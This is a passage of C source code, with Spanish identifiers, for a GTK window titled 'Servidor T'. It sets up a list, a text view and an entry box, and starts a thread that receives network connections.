gtk_text_buffer_get_iter_at_mark (buffer, &iter, mark);
gtk_text_buffer_insert (buffer, &iter, mensaje, -1);
} */
static void insert_text( GtkTextBuffer *buffer,gchar *mensaje )
{
GtkTextIter iter;
gtk_text_buffer_get_iter_at_offset (buffer, &iter, 0);
gtk_text_buffer_insert (buffer, &iter,mensaje,-1);
}
/* Create a scrolled text area that displays a “message” */
static GtkWidget *create_text( void )
{
GtkWidget *scrolled_window;
GtkWidget *view;
GtkTextBuffer *buffer;
view = gtk_text_view_new ();
buffer = gtk_text_view_get_buffer (GTK_TEXT_VIEW (view));
scrolled_window = gtk_scrolled_window_new (NULL, NULL);
gtk_scrolled_window_set_policy (GTK_SCROLLED_WINDOW (scrolled_window),
GTK_POLICY_AUTOMATIC,
GTK_POLICY_AUTOMATIC);
gtk_container_add (GTK_CONTAINER (scrolled_window), view);
insert_text (buffer,”lista de texto” );
gtk_widget_show_all (scrolled_window);
return scrolled_window;
}
static gpointer conexion_e_interface (gpointer data) {
int i=0 ;
int prueba = 0 ;
recibe_conexiones (data) ;
}
int main( int argc,
char *argv[] )
{
GtkWidget *window;
GtkWidget *box ;
GtkWidget *vpaned;
GtkWidget *entry ;
GtkWidget *list;
GtkWidget *text;
GtkWidget *tree ;
GtkWidget *separator;
GThread *thread,*thread2;
GError *error = NULL;
gchar msg[10] = (“Hilo\n”) ;
int pid = 0 ;
//memset (sockets_global,0,sizeof(sockets_global) ) ;
if ( ! g_thread_supported() ) g_thread_init( NULL ) ;
/* Secure gtk */
gdk_threads_init();
gdk_threads_enter();
gtk_init (&argc, &argv);
window = gtk_window_new (GTK_WINDOW_TOPLEVEL);
gtk_window_set_title (GTK_WINDOW (window), “Servidor T”);
g_signal_connect (window, “destroy”,
G_CALLBACK (gtk_main_quit), NULL);
gtk_container_set_border_width (GTK_CONTAINER (window), 10);
gtk_widget_set_size_request (GTK_WIDGET (window), 550, 500);
/* create a vpaned widget and add it to our toplevel window */
box=gtk_box_new (GTK_ORIENTATION_VERTICAL,5) ;
vpaned = gtk_vpaned_new ();
text = create_text ();
list = create_list (text);
gtk_paned_add1 (GTK_PANED (vpaned), list);
gtk_paned_add2 (GTK_PANED (vpaned), text);
entry = gtk_entry_new() ;
g_signal_connect (entry, “activate”,
G_CALLBACK (entry_callback),
entry);
gtk_box_pack_start (GTK_BOX (box), vpaned, TRUE, TRUE, 0);
gtk_box_pack_end (GTK_BOX (box), entry, FALSE, FALSE, 0);
gtk_container_add (GTK_CONTAINER (window), box);
gtk_widget_show (list);
gtk_widget_show (text);
gtk_widget_show (vpaned);
gtk_widget_show (entry);
gtk_widget_show (box);
gtk_widget_show (window);
thread = g_thread_create( conexion_e_interface,(gpointer)vpaned,
FALSE, &error );
if( ! thread )
{
g_print( “Error: %s\n”, error->message );
return( -1 );
}
gtk_main ();
gdk_threads_leave();
return 0;
}